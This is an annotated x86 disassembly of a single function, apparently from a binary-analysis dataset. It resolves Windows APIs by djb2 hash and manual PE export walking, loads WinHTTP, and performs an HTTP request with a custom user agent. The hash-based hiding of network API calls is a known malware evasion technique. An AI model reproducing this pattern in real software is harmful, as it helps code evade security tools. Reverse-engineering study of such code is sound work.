Function at 0x402550
Capabilities:
Hash data using djb2
Parse pe header
Reference http user-agent string
Resolve function by parsing pe exports

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42482b
mov eax, dword fs:[0]
push eax
push ebx
sub esp, 0xad8
mov eax, dword [0x430040]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0xae4], edx
mov dword [ebp - 0xac8], ecx
xorps xmm0, xmm0
mov dword [ebp - 0xa50], 0
xor eax, eax
mov dword [ebp - 0xa1c], 0
movups xmmword [ebp - 0xa4c], xmm0
mov dword [ebp - 0xa3c], 0
mov dword [ebp - 0xa38], 7
mov word [ebp - 0xa4c], ax
mov dword [ebp - 4], eax
movups xmmword [ebp - 0xa34], xmm0
mov dword [ebp - 0xa24], eax
mov dword [ebp - 0xa20], 7
mov word [ebp - 0xa34], ax
mov byte [ebp - 4], 1
mov esi, 0x1505
mov ecx, 0x42c9d9
mov edx, 0x4c
nop dword [eax]
mov eax, esi
lea ecx, [ecx + 1]
shl esi, 5
add esi, edx
movsx edx, byte [ecx - 1]
add esi, eax
test edx, edx
jne 0x402610
mov dword [ebp - 0xa94], esi
mov edi, 0x1505
mov ecx, 0x42c9e9
mov edx, 0x47
nop dword [eax]
mov eax, edi
lea ecx, [ecx + 1]
shl edi, 5
add edi, edx
movsx edx, byte [ecx - 1]
add edi, eax
test edx, edx
jne 0x402640
mov dword [ebp - 0xa9c], edi
mov ecx, 0x1505
mov edx, 0x42c9fd
mov esi, 0x47
nop dword [eax]
mov eax, ecx
lea edx, [edx + 1]
shl ecx, 5
add ecx, esi
movsx esi, byte [edx - 1]
add ecx, eax
test esi, esi
jne 0x402670
mov dword [ebp - 0xaa4], ecx
lea edi, [esi + 0x46]
mov esi, dword [ebp - 0xa94]
mov ecx, 0x1505
mov edx, 0x42ca0d
nop dword [eax]
mov eax, ecx
lea edx, [edx + 1]
shl ecx, 5
add ecx, edi
movsx edi, byte [edx - 1]
add ecx, eax
test edi, edi
jne 0x4026a0
push str.kernel32.dll
mov dword [ebp - 0xa98], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edi, dword [ebp - 0xa9c]
mov dword [ebp - 0xaa0], eax
test eax, eax
je 0x40327e
mov edx, esi
mov ecx, eax
call fcn.00402490
mov esi, dword [ebp - 0xaa0]
mov ecx, esi
mov edx, dword [ebp - 0xa98]
mov dword [ebp - 0xa94], eax
call fcn.00402490
cmp dword [ebp - 0xa94], 0
mov dword [ebp - 0xab8], eax
je 0x40327e
mov edx, edi
mov ecx, esi
call fcn.00402490
test eax, eax
je 0x40327e
mov edx, dword [ebp - 0xaa4]
mov ecx, esi
call fcn.00402490
test eax, eax
je 0x40327e
cmp dword [ebp - 0xab8], 0
je 0x40327e
push str.winhttp.dll
call dword [ebp - 0xa94]
mov esi, eax
test esi, esi
je 0x40327e
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x4027d4
mov eax, dword [esi + 0x3c]
cmp dword [eax + esi], 0x4550
jne 0x4027d4
mov ecx, dword [eax + esi + 0x78]
mov dword [ebp - 0xa94], ecx
test ecx, ecx
je 0x4027d4
mov edx, dword [ecx + esi + 0x24]
xor edi, edi
mov eax, dword [ecx + esi + 0x20]
add edx, esi
mov dword [ebp - 0xa98], edx
add eax, esi
mov edx, dword [ecx + esi + 0x1c]
add edx, esi
mov dword [ebp - 0xa9c], eax
mov dword [ebp - 0xaa0], edx
cmp dword [ecx + esi + 0x18], edi
jbe 0x4027d4
mov eax, dword [eax + edi*4]
add eax, esi
push str.WinHttpOpen
push eax
call fcn.0041249c
add esp, 8
test eax, eax
je 0x402db1
mov eax, dword [ebp - 0xa94]
inc edi
cmp edi, dword [eax + esi + 0x18]
mov eax, dword [ebp - 0xa9c]
jb 0x4027a6
mov dword [ebp - 0xaac], 0
mov eax, esi
mov ecx, 0x3c
add eax, ecx
mov edx, 0x5a4d
mov dword [ebp - 0xa90], eax
cmp word [esi], dx
jne 0x402879
mov eax, dword [eax]
cmp dword [eax + esi], 0x4550
jne 0x402873
mov ecx, dword [eax + esi + 0x78]
mov dword [ebp - 0xa94], ecx
test ecx, ecx
je 0x402873
mov edx, dword [ecx + esi + 0x24]
xor edi, edi
mov eax, dword [ecx + esi + 0x20]
add edx, esi
mov dword [ebp - 0xa98], edx
add eax, esi
mov edx, dword [ecx + esi + 0x1c]
add edx, esi
mov dword [ebp - 0xa9c], eax
mov dword [ebp - 0xaa0], edx
cmp dword [ecx + esi + 0x18], edi
jbe 0x40286e
mov eax, dword [eax + edi*4]
add eax, esi
push str.WinHttpConnect
push eax
call fcn.0041249c
add esp, 8
test eax, eax
je 0x402dd1
mov eax, dword [ebp - 0xa94]
inc edi
cmp edi, dword [eax + esi + 0x18]
mov eax, dword [ebp - 0xa9c]
jb 0x402840
mov edx, 0x5a4d
mov eax, dword [ebp - 0xa90]
mov dword [ebp - 0xab4], 0
cmp word [esi], dx
jne 0x4028fe
mov eax, dword [eax]
cmp dword [eax + esi], 0x4550
jne 0x4028fe
mov ecx, dword [eax + esi + 0x78]
mov dword [ebp - 0xa94], ecx
test ecx, ecx
je 0x4028fe
mov edx, dword [ecx + esi + 0x24]
xor edi, edi
mov eax, dword [ecx + esi + 0x20]
add edx, esi
mov dword [ebp - 0xa98], edx
add eax, esi
mov edx, dword [ecx + esi + 0x1c]
add edx, esi
mov dword [ebp - 0xa9c], eax
mov dword [ebp - 0xaa0], edx
cmp dword [ecx + esi + 0x18], edi
jbe 0x4028fe
nop dword [eax]
mov eax, dword [eax + edi*4]
add eax, esi
push str.WinHttpOpenRequestW
push eax
call fcn.0041249c
add esp, 8
test eax, eax
je 0x402dfc
mov eax, dword [ebp - 0xa94]
inc edi
cmp edi, dword [eax + esi + 0x18]
mov eax, dword [ebp - 0xa9c]
jb 0x4028d0
mov dword [ebp - 0xaa4], 0
mov ecx, dword [ebp - 0xa90]
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x40299a
mov eax, dword [ecx]
cmp dword [eax + esi], 0x4550
jne 0x402995
mov ecx, dword [eax + esi + 0x78]
mov dword [ebp - 0xa94], ecx
test ecx, ecx
je 0x40298f
mov edx, dword [ecx + esi + 0x24]
xor edi, edi
mov eax, dword [ecx + esi + 0x20]
add edx, esi
mov dword [ebp - 0xa98], edx
add eax, esi
mov edx, dword [ecx + esi + 0x1c]
add edx, esi
mov dword [ebp - 0xa9c], eax
mov dword [ebp - 0xaa0], edx
cmp dword [ecx + esi + 0x18], edi
jbe 0x40298f
mov eax, dword [eax + edi*4]
add eax, esi
push str.WinHttpSendRequestW
push eax
call fcn.0041249c
add esp, 8
test eax, eax
je 0x402e1c
mov eax, dword [ebp - 0xa94]
inc edi
cmp edi, dword [eax + esi + 0x18]
mov eax, dword [ebp - 0xa9c]
jb 0x402961
mov ecx, dword [ebp - 0xa90]
mov eax, 0x5a4d
mov dword [ebp - 0xaa0], 0
cmp word [esi], ax
jne 0x402a1e
mov eax, dword [ecx]
cmp dword [eax + esi], 0x4550
jne 0x402a1e
mov ecx, dword [eax + esi + 0x78]
mov dword [ebp - 0xa94], ecx
test ecx, ecx
je 0x402a1e
mov edx, dword [ecx + esi + 0x24]
xor edi, edi
mov eax, dword [ecx + esi + 0x20]
add edx, esi
mov dword [ebp - 0xa98], edx
add eax, esi
mov edx, dword [ecx + esi + 0x1c]
add edx, esi
mov dword [ebp - 0xa9c], eax
mov dword [ebp - 0xaa8], edx
cmp dword [ecx + esi + 0x18], edi
jbe 0x402a1e
nop
mov eax, dword [eax + edi*4]
add eax, esi
push str.WinHttpReceiveResponse
push eax
call fcn.0041249c
add esp, 8
test eax, eax
je 0x402e47
mov eax, dword [ebp - 0xa94]
inc edi
cmp edi, dword [eax + esi + 0x18]
mov eax, dword [ebp - 0xa9c]
jb 0x4029f0
mov dword [ebp - 0xa98], 0
mov ecx, 0x5a4d
cmp word [esi], cx
mov ecx, dword [ebp - 0xa90]
jne 0x402ab5
mov eax, dword [ecx]
cmp dword [eax + esi], 0x4550
jne 0x402ab5
mov ecx, dword [eax + esi + 0x78]
mov dword [ebp - 0xa94], ecx
test ecx, ecx
je 0x402aaf
mov edx, dword [ecx + esi + 0x24]
xor edi, edi
mov eax, dword [ecx + esi + 0x20]
add edx, esi
mov dword [ebp - 0xaa8], edx
add eax, esi
mov edx, dword [ecx + esi + 0x1c]
add edx, esi
mov dword [ebp - 0xa9c], eax
mov dword [ebp - 0xabc], edx
cmp dword [ecx + esi + 0x18], edi
jbe 0x402aaf
mov eax, dword [eax + edi*4]
add eax, esi
push str.WinHttpQueryDataAvailable
push eax
call fcn.0041249c
add esp, 8
test eax, eax
je 0x402e67
mov eax, dword [ebp - 0xa94]
inc edi
cmp edi, dword [eax + esi + 0x18]
mov eax, dword [ebp - 0xa9c]
jb 0x402a81
mov ecx, dword [ebp - 0xa90]
mov dword [ebp - 0xa9c], 0
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x402b40
mov eax, dword [ecx]
cmp dword [eax + esi], 0x4550
jne 0x402b40
mov ecx, dword [eax + esi + 0x78]
mov dword [ebp - 0xabc], ecx
test ecx, ecx
je 0x402b40
mov edx, dword [ecx + esi + 0x24]
xor edi, edi
mov eax, dword [ecx + esi + 0x20]
add edx, esi
mov dword [ebp - 0xaa8], edx
add eax, esi
mov edx, dword [ecx + esi + 0x1c]
add edx, esi
mov dword [ebp - 0xa94], eax
mov dword [ebp - 0xac0], edx
cmp dword [ecx + esi + 0x18], edi
jbe 0x402b40
mov eax, dword [eax + edi*4]
add eax, esi
push str.WinHttpReadData
push eax
call fcn.0041249c
add esp, 8
test eax, eax
je 0x402e8d
mov eax, dword [ebp - 0xabc]
inc edi
cmp edi, dword [eax + esi + 0x18]
mov eax, dword [ebp - 0xa94]
jb 0x402b12
mov dword [ebp - 0xa94], 0
mov ecx, 0x5a4d
cmp word [esi], cx
mov ecx, dword [ebp - 0xa90]
jne 0x402be4
mov eax, dword [ecx]
cmp dword [eax + esi], 0x4550
jne 0x402be4
mov ecx, dword [eax + esi + 0x78]
mov dword [ebp - 0xac0], ecx
test ecx, ecx
je 0x402bde
mov edx, dword [ecx + esi + 0x24]
xor edi, edi
mov eax, dword [ecx + esi + 0x20]
add edx, esi
mov dword [ebp - 0xaa8], edx
add eax, esi
mov edx, dword [ecx + esi + 0x1c]
add edx, esi
mov dword [ebp - 0xabc], eax
mov dword [ebp - 0xac4], edx
cmp dword [ecx + esi + 0x18], edi
jbe 0x402bde
nop word [eax + eax]
mov eax, dword [eax + edi*4]
add eax, esi
push str.WinHttpCrackUrl
push eax
call fcn.0041249c
add esp, 8
test eax, eax
je 0x402ead
mov eax, dword [ebp - 0xac0]
inc edi
cmp edi, dword [eax + esi + 0x18]
mov eax, dword [ebp - 0xabc]
jb 0x402bb0
mov ecx, dword [ebp - 0xa90]
mov dword [ebp - 0xaa8], 0
mov eax, 0x5a4d
cmp word [esi], ax
jne 0x402c73
mov eax, dword [ecx]
cmp dword [eax + esi], 0x4550
jne 0x402c73
mov ecx, dword [eax + esi + 0x78]
xor edi, edi
mov dword [ebp - 0xac4], ecx
test ecx, ecx
je 0x402c75
mov edx, dword [ecx + esi + 0x24]
mov eax, dword [ecx + esi + 0x20]
add edx, esi
mov dword [ebp - 0xabc], edx
add eax, esi
mov edx, dword [ecx + esi + 0x1c]
add edx, esi
mov dword [ebp - 0xac0], eax
mov dword [ebp - 0xa90], edx
cmp dword [ecx + esi + 0x18], edi
jbe 0x402c73
mov eax, dword [eax + edi*4]
add eax, esi
push str.WinHttpCloseHandle
push eax
call fcn.0041249c
add esp, 8
test eax, eax
je 0x402ed3
mov eax, dword [ebp - 0xac4]
inc edi
cmp edi, dword [eax + esi + 0x18]
mov eax, dword [ebp - 0xac0]
jb 0x402c45
xor edi, edi
cmp dword [ebp - 0xaac], 0
mov dword [ebp - 0xa90], edi
je 0x403277
cmp dword [ebp - 0xab4], 0
je 0x403277
cmp dword [ebp - 0xaa4], 0
je 0x403277
cmp dword [ebp - 0xaa0], 0
je 0x403277
cmp dword [ebp - 0xa98], 0
je 0x403277
cmp dword [ebp - 0xa9c], 0
je 0x403277
cmp dword [ebp - 0xa94], 0
je 0x403277
cmp dword [ebp - 0xaa8], 0
je 0x403277
test edi, edi
je 0x403277
xorps xmm0, xmm0
mov dword [ebp - 0xa80], 0
push 0x200
lea eax, [ebp - 0x218]
movlpd qword [ebp - 0xa88], xmm0
push 0
push eax
movlpd qword [ebp - 0xa74], xmm0
movlpd qword [ebp - 0xa6c], xmm0
mov dword [ebp - 0xa64], 0
movlpd qword [ebp - 0xa58], xmm0
mov dword [ebp - 0xa8c], 0x3c
call fcn.0040d8b0
push 0x800
lea eax, [ebp - 0xa18]
push 0
push eax
call fcn.0040d8b0
mov ecx, dword [ebp - 0xac8]
lea eax, [ebp - 0x218]
mov dword [ebp - 0xa7c], eax
add esp, 0x18
lea eax, [ebp - 0xa18]
mov dword [ebp - 0xa78], pe_nt_image_headers32
mov dword [ebp - 0xa60], eax
cmp dword [ecx + 0x14], 7
mov eax, dword [ecx + 0x10]
mov dword [ebp - 0xa5c], 0x400
jbe 0x402d92
mov ecx, dword [ecx]
lea edx, [ebp - 0xa8c]
push edx
push 0
push eax
push ecx
call dword [ebp - 0xaa8]
test eax, eax
jne 0x402eed
push eax
jmp 0x403275
mov eax, dword [ebp - 0xa98]
mov ecx, dword [ebp - 0xaa0]
movzx eax, word [eax + edi*2]
mov edx, dword [ecx + eax*4]
add edx, esi
mov dword [ebp - 0xaac], edx
jmp 0x4027de
mov eax, dword [ebp - 0xa98]
mov edx, 0x5a4d
mov ecx, dword [ebp - 0xaa0]
movzx eax, word [eax + edi*2]
mov ecx, dword [ecx + eax*4]
mov eax, dword [ebp - 0xa90]
add ecx, esi
mov dword [ebp - 0xab4], ecx
jmp 0x402883
mov eax, dword [ebp - 0xa98]
mov ecx, dword [ebp - 0xaa0]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
mov dword [ebp - 0xaa4], eax
jmp 0x402908
mov eax, dword [ebp - 0xa98]
mov ecx, dword [ebp - 0xaa0]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
mov ecx, dword [ebp - 0xa90]
add eax, esi
mov dword [ebp - 0xaa0], eax
mov eax, 0x5a4d
jmp 0x4029a4
mov eax, dword [ebp - 0xa98]
mov ecx, dword [ebp - 0xaa8]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
mov dword [ebp - 0xa98], eax
jmp 0x402a28
mov eax, dword [ebp - 0xaa8]
mov ecx, dword [ebp - 0xabc]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
mov ecx, dword [ebp - 0xa90]
add eax, esi
mov dword [ebp - 0xa9c], eax
jmp 0x402abf
mov eax, dword [ebp - 0xaa8]
mov ecx, dword [ebp - 0xac0]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
add eax, esi
mov dword [ebp - 0xa94], eax
jmp 0x402b4a
mov eax, dword [ebp - 0xaa8]
mov ecx, dword [ebp - 0xac4]
movzx eax, word [eax + edi*2]
mov eax, dword [ecx + eax*4]
mov ecx, dword [ebp - 0xa90]
add eax, esi
mov dword [ebp - 0xaa8], eax
jmp 0x402bee
mov eax, dword [ebp - 0xabc]
movzx eax, word [eax + edi*2]
mov edi, dword [ebp - 0xa90]
mov edi, dword [edi + eax*4]
add edi, esi
jmp 0x402c75
push dword [ebp - 0xa78]
xorps xmm0, xmm0
mov dword [ebp - 0xad0], 0
push dword [ebp - 0xa7c]
lea ecx, [ebp - 0xae0]
mov dword [ebp - 0xacc], 0
movups xmmword [ebp - 0xae0], xmm0
call fcn.00409fe0
lea eax, [ebp - 0xae0]
push eax
lea ecx, [ebp - 0xa4c]
call fcn.00408940
mov ecx, dword [ebp - 0xacc]
cmp ecx, 7
jbe 0x402f74
mov edx, dword [ebp - 0xae0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402f6a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403342
push ecx
push edx
call fcn.0040c034
add esp, 8
push dword [ebp - 0xa5c]
xorps xmm0, xmm0
mov dword [ebp - 0xad0], 0
push dword [ebp - 0xa60]
lea ecx, [ebp - 0xae0]
mov dword [ebp - 0xacc], 0
movups xmmword [ebp - 0xae0], xmm0
call fcn.00409fe0
lea eax, [ebp - 0xae0]
push eax
lea ecx, [ebp - 0xa34]
call fcn.00408940
mov ecx, dword [ebp - 0xacc]
cmp ecx, 7
jbe 0x402ffb
mov edx, dword [ebp - 0xae0]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x402ff1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403342
push ecx
push edx
call fcn.0040c034
add esp, 8
movzx eax, word [ebp - 0xa74]
push 0
push 0
push 0
push 0
mov dword [ebp - 0xac8], eax
mov eax, dword [ebp - 0xa80]
push str.Mozilla_5.0__Custom_Agent_
mov dword [ebp - 0xac4], eax
call dword [ebp - 0xaac]
mov ecx, eax
mov dword [ebp - 0xaac], ecx
test ecx, ecx
je 0x403277
cmp dword [ebp - 0xa38], 7
lea eax, [ebp - 0xa4c]
push 0
push dword [ebp - 0xac8]
cmova eax, dword [ebp - 0xa4c]
push eax
push ecx
call dword [ebp - 0xab4]
mov edx, eax
mov dword [ebp - 0xab4], edx
test edx, edx
je 0x40326f
cmp dword [ebp - 0xa20], 7
lea ecx, [ebp - 0xa34]
mov dword [ebp - 0xac8], 0x800000
cmova ecx, dword [ebp - 0xa34]
xor eax, eax
cmp dword [ebp - 0xac4], 2
cmove eax, dword [ebp - 0xac8]
push eax
push 0
push 0
push 0
push ecx
push 0x42cb18
push edx
call dword [ebp - 0xaa4]
mov dword [ebp - 0xaa4], eax
test eax, eax
je 0x403267
push 0
push 0
push 0
push 0
push 0
push 0
push eax
call dword [ebp - 0xaa0]
test eax, eax
je 0x40325f
push 0
push dword [ebp - 0xaa4]
call dword [ebp - 0xa98]
test eax, eax
je 0x40325f
nop dword [eax]
lea eax, [ebp - 0xa50]
mov dword [ebp - 0xa50], 0
push eax
push dword [ebp - 0xaa4]
call dword [ebp - 0xa9c]
test eax, eax
je 0x403231
mov eax, dword [ebp - 0xa50]
test eax, eax
je 0x403231
inc eax
push 0x42523e
push eax
call fcn.0040c04b
mov edi, eax
add esp, 8
test edi, edi
je 0x403231
mov ecx, dword [ebp - 0xa50]
inc ecx
push ecx
push 0
push edi
call fcn.0040d8b0
add esp, 0xc
lea eax, [ebp - 0xa1c]
push eax
push dword [ebp - 0xa50]
push edi
push dword [ebp - 0xaa4]
call dword [ebp - 0xa94]
test eax, eax
je 0x403228
mov eax, dword [ebp - 0xa1c]
test eax, eax
je 0x403210
push 0
push 0
push eax
push edi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov dword [ebp - 0xa98], eax
test eax, eax
jle 0x403210
xor ecx, ecx
inc eax
mov edx, 2
mul edx
push 0x42523e
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.0040c04b
add esp, 8
mov dword [ebp - 0xaa0], eax
test eax, eax
je 0x403210
push dword [ebp - 0xa98]
push eax
push dword [ebp - 0xa1c]
push edi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0xaa0]
xor edx, edx
mov ecx, dword [ebp - 0xa98]
push eax
mov word [eax + ecx*2], dx
mov ecx, dword [ebp - 0xae4]
call fcn.00409020
push dword [ebp - 0xaa0]
call fcn.0040be02
add esp, 4
push edi
call fcn.0040be02
add esp, 4
cmp dword [ebp - 0xa50], 0
ja 0x4030f0
jmp 0x403231
push edi
call fcn.0040be02
add esp, 4
push dword [ebp - 0xaa4]
mov edi, dword [ebp - 0xa90]
call edi
push dword [ebp - 0xab4]
call edi
push dword [ebp - 0xaac]
call edi
push esi
call dword [ebp - 0xab8]
mov byte [ebp - 0xaad], 1
jmp 0x403285
push dword [ebp - 0xaa4]
call edi
push dword [ebp - 0xab4]
call edi
push dword [ebp - 0xaac]
call edi
push esi
call dword [ebp - 0xab8]
mov byte [ebp - 0xaad], 0
mov ecx, dword [ebp - 0xa20]
cmp ecx, 7
jbe 0x4032c5
mov edx, dword [ebp - 0xa34]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x4032bb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403342
push ecx
push edx
call fcn.0040c034
add esp, 8
mov ecx, dword [ebp - 0xa38]
xor eax, eax
mov dword [ebp - 0xa24], 0
mov dword [ebp - 0xa20], 7
mov word [ebp - 0xa34], ax
cmp ecx, 7
jbe 0x40331e
mov edx, dword [ebp - 0xa4c]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x403314
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x403342
push ecx
push edx
call fcn.0040c034
add esp, 8
mov al, byte [ebp - 0xaad]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.0040bdf4
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.004127c5
int3